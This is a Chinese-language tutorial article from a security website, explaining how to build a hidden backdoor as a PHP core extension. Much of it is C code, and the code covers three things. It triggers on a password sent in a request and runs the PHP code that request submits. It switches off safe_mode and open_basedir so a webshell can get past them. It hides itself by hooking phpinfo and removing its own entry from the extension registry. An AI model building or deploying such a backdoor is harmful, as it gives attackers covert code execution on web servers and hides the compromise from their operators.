首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
Developing A PHP Core Backdoor
来源:wofeiwo_at_gmail_dot_com 作者:wofeiwo 发布时间:2009-08-05  

Author: wofeiwo/GaRY  <wofeiwo_at_gmail_dot_com>

目录

1)前言
2)优缺点
3)设计
4)功能实现
5)参考文档
6)一些说明

1)前言

PHP是一个非常流行的web server端的script语言.目前很多web应用程序都基于php语言实现.由于php是个开源软件并易于扩展,所以我们可以通过编写一个PHP模块(module 或者叫扩展 extension)来实现一个Backdoor.而且php支持使用dl函数动态加载模块的技术,这种类似linux等系统上的LKM机制让我们的Backdoor可以更轻松的加载.本文就简单介绍下修改PHP内核的Backdoor的实现.

2)优缺点

优点:

1. 众所周知,PHP是一个跨平台的脚本语言,所以php Backdoor也可以很方便得跨平台.当然这必须要求你尽量使用C库或者使用php内核中提供的API来编写代码.而尽量少用系统API.不过这总比ring0下的Backdoor什么都要自己实现要好.
2. 由于PHP与客户端的通讯是通过http协议实现的.所以也不用担心端口隐藏,进程隐藏等问题.
3. 加载方便.你可以通过设置php.ini或者使用dl函数来加载你的Backdoor.或者,如果你愿意的话你可以把Backdoor编译到php里去.
4. 配合webshell使用,用Backdoor配置php环境,让webshell突破disable fuction,safe_mode,open_basedir等限制.

缺点:

1. 权限低.Backdoor的权限完全取决于web server程序的权限.必须与其他工具配合使用以得到高权限.
2. 基于php,只是一个ring3下的Backdoor,所以不能太底层,很多功能都受到限制.

3)设计:

我们这里做为一个例子,设计了个简单的php Backdoor,它主要实现了几个功能:

1. 通过过滤用户提交的特定变量来启动Backdoor.
2. 修改php环境变量.为webshell提供宽松的执行环境.
3. 直接执行用户提交的php代码.
4. 隐藏自身.

4)功能实现

前置知识:
要编写php Backdoor,必须先了解php module的编写技术.这个内容超出本文的范围,读者可以看下本文最后列出的参考文档.并且最好先查看以下文件以熟悉php内核的API.

php-src/main/php.h, 位于PHP 主目录。这个文件包含了绝大部分 PHP 宏及 API 定义。
php-src/Zend/zend.h, 位于 Zend 主目录。这个文件包含了绝大部分 Zend 宏及 API 定义。
php-src/Zend/zend_API.h, 也位于 Zend 主目录,包含了Zend API 的定义。

以下的结构体,定义了一个PHP Backdoor模块的基本信息:
   
zend_module_entry wfw_module_entry = {
    STANDARD_MODULE_HEADER,
    “wfw”,                 //模块名
    wfw_functions,         //导出函数结构体
    PHP_MINIT(wfw),     //模块初始化
    PHP_MSHUTDOWN(wfw), //模块清理
    PHP_RINIT(wfw),     //运行时初始化
    PHP_RSHUTDOWN(wfw), //运行时清理
    PHP_MINFO(wfw),     //处理phpinfo中的模块信息
    “0.1″,                 //模块版本
    STANDARD_MODULE_PROPERTIES
};
   
在php生命周期中,ZendEngine首先要初始化module,每个module中定义的PHP_MINIT_FUNCTION函数作为初始化代码(ModuleInit)都会被执行一次,而PHP_RINIT_FUNCTION函数则是在每次页面被请求的时候(RuntimeInit)都会执行一次.因此对php函数的hook,设置php环境变量,对user input的过滤,都可以根据需要在这两个函数中进行.然后在PHP_MSHUTDOWN_FUNCTION和PHP_RSHUTDOWN_FUNCTION中进行相应的清理.而作为Backdoor,PHP_MINFO_FUNCTION函数对我们则没什么必要,可以把这里设置为NULL.

当然会了php api还不够,再配合各系统上提供的api,并通过宏定义区分以跨平台.一个backdoor是很容易编出来的.在本文中我不会直接说明每个功能的实现,这些在所有ring3后门中都大同小异.我只说明些在PHP core环境下需要注意的部分.
   
过滤变量:
要过滤web server传递过来的变量,这有两种办法,一种是通过修改SAPI的input_filter,或者是treat_data.你可以是hook后再执行php的原始代码,也可以直接替换原始函数:

//
//函数原型如下:
//unsigned int input_filter(int arg, char *var, char **val, unsigned int val_len, unsigned int *new_val_len TSRMLS_DC)
//arg可以是PARSE_POST,PARSE_GET,PARSE_COOKIE,PARSE_STRING,PARSE_ENV等值,表示此变量是通过什么方式传递进来的.
//var,val分别是变量名和变量值
//
SAPI_API SAPI_INPUT_FILTER_FUNC(wfw_input_filter)
{
    if(new_val_len) *new_val_len = val_len;
   
    ////////////////////////////////////////////////////////
    //以上是原php中处理的代码,下面则是我添加的.
    ////////////////////////////////////////////////////////
    if(strcmp(var,”pw”) == 0 || strcmp(*val,”password”) == 0)
        dosomething();
    ////////////////////////////////////////////////////////
    return SUCESS;
}

void wfw_hook_input_filter()
{
    sapi_register_input_filter(wfw_input_filter);    //注册为input_filter
}

另外一种是直接从php内建的数组里获取变量:
   
int find_var()
{
    zval **array, **data;
   
    TSRMLS_FETCH();

    //查找_GET数组
    if(SUCCESS != zend_symtable_find(&EG(symbol_table), “_GET”, strlen(”_GET”)+1, (void **)&array))
    {
        return FAILURE;
    }
    //查找pw变量   
    if(SUCCESS != zend_symtable_find(HASH_OF(*array), “pw”, strlen(”pw”)+1, (void **)&data))
    {
        return FAILURE;
    }
// 比对pw变量值,是密码,则执行我们的代码.
    if(strcmp(Z_STRVAL_PP(data),”password”) == 0)
        dosomething();
    return SUCCESS;
}

使用那一种方式就看你的要求了.第一种可以直接获得用户提交的原始数据,如果你要在这里做处理或者filter,可以使用这种方法,一般没有特殊要求,使用第二种方法就可以了.

设置环境:
只要修改每次RINIT时候的ini设置,就可以了,我们使用ZEND API: zend_alter_ini_entry就可以实现这个功能:

zend_alter_ini_entry(”safe_mode”, sizeof(”safe_mode”), “0″, sizeof(”0″) – 1, PHP_INI_SYSTEM, PHP_INI_STAGE_ACTIVATE);

执行用户提交的代码:
过滤web server传递过来的变量,并用以下函数执行即可:

int run_user_code(char *str)
{
    int result;
    zval retval_ptr;
    result = zend_eval_string(str, &retval_ptr, string_name TSRMLS_CC);
    convert_to_string(retval_ptr);
    php_printf(”%s\r\n”, Z_STRVAL(zval));
    return result;
}

Hook函数:
Hook函数有不同方式,根据需要Hook函数类型的不同而不同,比如我想要替换phpinfo这个php语言内建函数,只需要这么做:
   
//注册新函数结构体
zend_function_entry hooked_functions[] = {
    PHP_NAMED_FE(phpinfo, PHP_FN(hooked_phpinfo), NULL) //注册为phpinfo的别名
    {NULL, NULL, NULL}    /* Must be the last line in wfw_functions[] */
};

void hook_fuctions(void)
{
    TSRMLS_FETCH();
   
    /* 替换函数 */
    zend_hash_del(CG(function_table), “phpinfo”, sizeof(”phpinfo”)); //从completer global里删除phpinfo函数
    //注册新函数
#ifndef ZEND_ENGINE_2
    zend_register_functions(hooked_functions, NULL, MODULE_PERSISTENT TSRMLS_CC);
#else
    zend_register_functions(NULL, hooked_functions, NULL, MODULE_PERSISTENT TSRMLS_CC);
#endif
}

//新函数
PHP_FUNCTION(hooked_phpinfo)
{
    …..
}
/* {{{ PHP_MINIT_FUNCTION
*/
PHP_MINIT_FUNCTION(wfwcbd)
{
    hook_fuctions();
    ……
    ……

    return SUCCESS;
}

但是如果想要替换的是php内核的底层api,恐怕就需要使用到其他ring3 hook技术了.inline hook等.但幸好backdoor加载进php内核后和其他api是在同一进程上下文中的,所以查找函数地址也就比较方便.相信也不难实现,但是本文写作过程中并没有测试,有意的朋友可以自己尝试下.

隐藏:
这里所谓的隐藏并不是隐藏我们的文件,而是让我们的Backdoor module在php中不可见.具体做法是让我们的module注册为zend extension,而在module_registry中删除自身.这样get_loaded_extensions也就找不到我们模块的信息了.zend_extension结构体定义如下:

struct _zend_extension {
    char *name;
    char *version;
    char *author;
    char *URL;
    char *copyright;

    startup_func_t startup;         //相当于MINIT
    shutdown_func_t shutdown;       //相当于MSHUTDOWN
    activate_func_t activate;        //相当于RINIT
    deactivate_func_t deactivate;    //相当于RSHUTDOWN

    message_handler_func_t message_handler;

    op_array_handler_func_t op_array_handler;

    statement_handler_func_t statement_handler;
    fcall_begin_handler_func_t fcall_begin_handler;
    fcall_end_handler_func_t fcall_end_handler;

    op_array_ctor_func_t op_array_ctor;
    op_array_dtor_func_t op_array_dtor;

    int (*api_no_check)(int api_no);
    void *reserved2;
    void *reserved3;
    void *reserved4;
    void *reserved5;
    void *reserved6;
    void *reserved7;
    void *reserved8;

    DL_HANDLE handle;
    int resource_number;
};

实现代码如下:

#include “zend_extensions.h”

static zend_llist_position lp = NULL;
static void wfw_op_array_ctor(zend_op_array *op_array);
static void wfw_op_array_dtor(zend_op_array *op_array);
static int (*old_startup)(zend_extension *extension) = NULL;
static zend_extension *ze = NULL;   
static int wfw_module_startup(zend_extension *extension);
static void wfw_module_active(void);
static void wfw_module_deactive(void);
static void wfw_shutdown(zend_extension *extension);
static int wfw_startup_wrapper(zend_extension *ext);

static zend_extension wfw_zend_extension_entry = {
    “wfwcbd”,
    “0.1″,
    “wfw PHP Core BackDoor”,
    “http://www.phpweblog.net/GaRY”,
    “(C) Copyright 2007″,
   
    wfw_module_startup,
    wfw_shutdown,
    wfw_module_active,
    wfw_module_deactive,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    wfw_op_array_ctor,
    wfw_op_array_dtor,
   
    STANDARD_ZEND_EXTENSION_PROPERTIES
};

/* {{{ wfw_functions[]
*
* Every user visible function must have an entry in wfw_functions[].
*/
zend_function_entry wfw_functions[] = {
    PHP_FE(your_ext_function,            NULL)
    …..
    …..
    {NULL, NULL, NULL}    /* Must be the last line in wfw_functions[] */
};
/* }}} */

zend_module_entry phper_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
    STANDARD_MODULE_HEADER,
#endif
    “phper”,
    NULL,
    PHP_MINIT(phper),
    NULL, // PHP_MSHUTDOWN(phper),  //同时我们这里也就不需要以下函数了.全部替换为NULL,用zend extension里的同功能函数代替
    NULL, // PHP_RINIT(phper),       
    NULL, // PHP_RSHUTDOWN(phper),   
    NULL, // PHP_MINFO(phper),
#if ZEND_MODULE_API_NO >= 20010901
    “0.1″, /* Replace with version number for your extension */
#endif
    STANDARD_MODULE_PROPERTIES
};

static void wfw_op_array_ctor(zend_op_array *op_array)
{
}

static void wfw_op_array_dtor(zend_op_array *op_array)
{
    if (wfw_zend_extension_entry.resource_number != -1) {
        op_array->reserved[wfw_zend_extension_entry.resource_number] = NULL;
    }
}

static int wfw_startup_wrapper(zend_extension *ext)
{
    int res;
    php_printf(”php startup_wrapper\r\n”);
    ze->startup = old_startup;
    res = old_startup(ext);
    wfw_module_startup(NULL);
   
    return res;
}

static int wfw_module_startup(zend_extension *extension)
{
    zend_module_entry *module_entry_ptr;
    int resid;
    TSRMLS_FETCH();
   
    php_printf(”php_startup\r\n”);
#ifndef ZEND_ENGINE_2
    zend_register_functions(wfw_functions, NULL, MODULE_PERSISTENT TSRMLS_CC);
#else
    zend_register_functions(NULL, wfw_functions, NULL, MODULE_PERSISTENT TSRMLS_CC);
#endif
    if (zend_hash_find(&module_registry, “wfwcbd”, sizeof(”wfwcbd”), (void **)&module_entry_ptr)==SUCCESS) {
       
        if (extension) {
        extension->handle = module_entry_ptr->handle;
        } else {
        zend_extension ext;
        ext = wfw_zend_extension_entry;
        ext.handle = module_entry_ptr->handle;
        zend_llist_add_element(&zend_extensions, &ext);
        extension = zend_llist_get_last(&zend_extensions);
        }
        module_entry_ptr->handle = NULL;
        //
        //删除module_registry中的信息
        //
        if(SUCCESS != zend_hash_del(&module_registry, “wfwcbd”, sizeof(”wfwcbd”))) return FAILURE;

    } else {
        return FAILURE;
    }

    resid = zend_get_resource_handle(extension);
    wfw_zend_extension_entry.resource_number = resid;

    return SUCCESS;
}   

static void wfw_module_active()
{
    //php_printf(”wfw active!\r\n”);
    do_something_while_active();
}
static void wfw_module_deactive()
{
    //php_printf(”wfw deactive!\r\n”);
    do_something_while_deactive();
}
static void wfw_shutdown(zend_extension *extension)
{
    //php_printf(”wfw shutdown\r\n”);
    do_something_while_shutdown();
}

再配合hook phpinfo等函数,就可以让我们对php环境变量做的修改看不出来:

PHP_FUNCTION(hooked_phpinfo)
{   
    int argc = ZEND_NUM_ARGS();
    long flag;
   
    //恢复设置
    zend_alter_ini_entry(”safe_mode”, sizeof(”safe_mode”),
        old_safe_mode, sizeof(old_safe_mode) – 1, PHP_INI_SYSTEM, PHP_INI_STAGE_ACTIVATE);
    zend_alter_ini_entry(”open_basedir”, sizeof(”open_basedir”),
        old_open_basedir, sizeof(old_open_basedir) – 1, PHP_INI_SYSTEM, PHP_INI_STAGE_ACTIVATE);
    ………
    ………
   
    if (zend_parse_parameters(argc TSRMLS_CC, “|l”, &flag) == FAILURE) {
        return;
    }
   
    if(!argc) {
        flag = PHP_INFO_ALL;
    }
   
    php_start_ob_buffer(NULL, 4096, 0 TSRMLS_CC);
    php_print_info(flag TSRMLS_CC);
    php_end_ob_buffer(1, 0 TSRMLS_CC);
   
    //重新设置环境
    zend_alter_ini_entry(”safe_mode”, sizeof(”safe_mode”),
        “0″, sizeof(”0″) – 1, PHP_INI_SYSTEM, PHP_INI_STAGE_ACTIVATE);
    zend_alter_ini_entry(”open_basedir”, sizeof(”open_basedir”),
        “”, sizeof(”") – 1, PHP_INI_SYSTEM, PHP_INI_STAGE_ACTIVATE);
    …..
    …..
   
    RETURN_TRUE;
}

使用以上所述的方法,基本一个简单的PHP core backdoor就可以实现了.当然,我们其实还可以加入些其他功能.比如通过控制http头提供个可交互shell,比如内嵌一个php webshell在module中,触发后用php_start_ob_buffer函数及php_end_ob_buffer控制输出,替代任何一个php文件的输出为我们的webshell….
开阔你的大脑吧.一切都由你的想像力来完成:)

5)一些说明

很久没有写文档了,文章比较乱.请各位包涵吧.我的语文水平也就那么点了:)
由于对于php core的研究我也是新手,以上文章难免失误,请各位指正,我的email: wofeiwo_at_gmail_dot_com
最后感谢下Ben.yan在本文写作过程中对我的极大帮助.没有他本文是完不成的

6)参考文档

PHP手册: http://www.php.net/manual/en/
PHP源代码: http://www.php.net/
suhosin源代码: http://www.suhosin.org/
php win32执行程序module: http://www.phpweblog.net/GaRY/archive/2 … odule.html


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·*nux如何创建后门
·在Solaris系统中的sniffer攻击实
·oracle注入某市交通局
·搜狐博客蠕虫
·黑客渗透linux下载备份取shell
·我在qqmail上放了*个后门
·xss简单渗透测试
·ECShop_V2.6.2后台获取webshell
·新型万能登陆密码
·some shit tips
·一次曲折入侵拿源代码过程(3)
·一次曲折入侵拿源代码过程(2)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved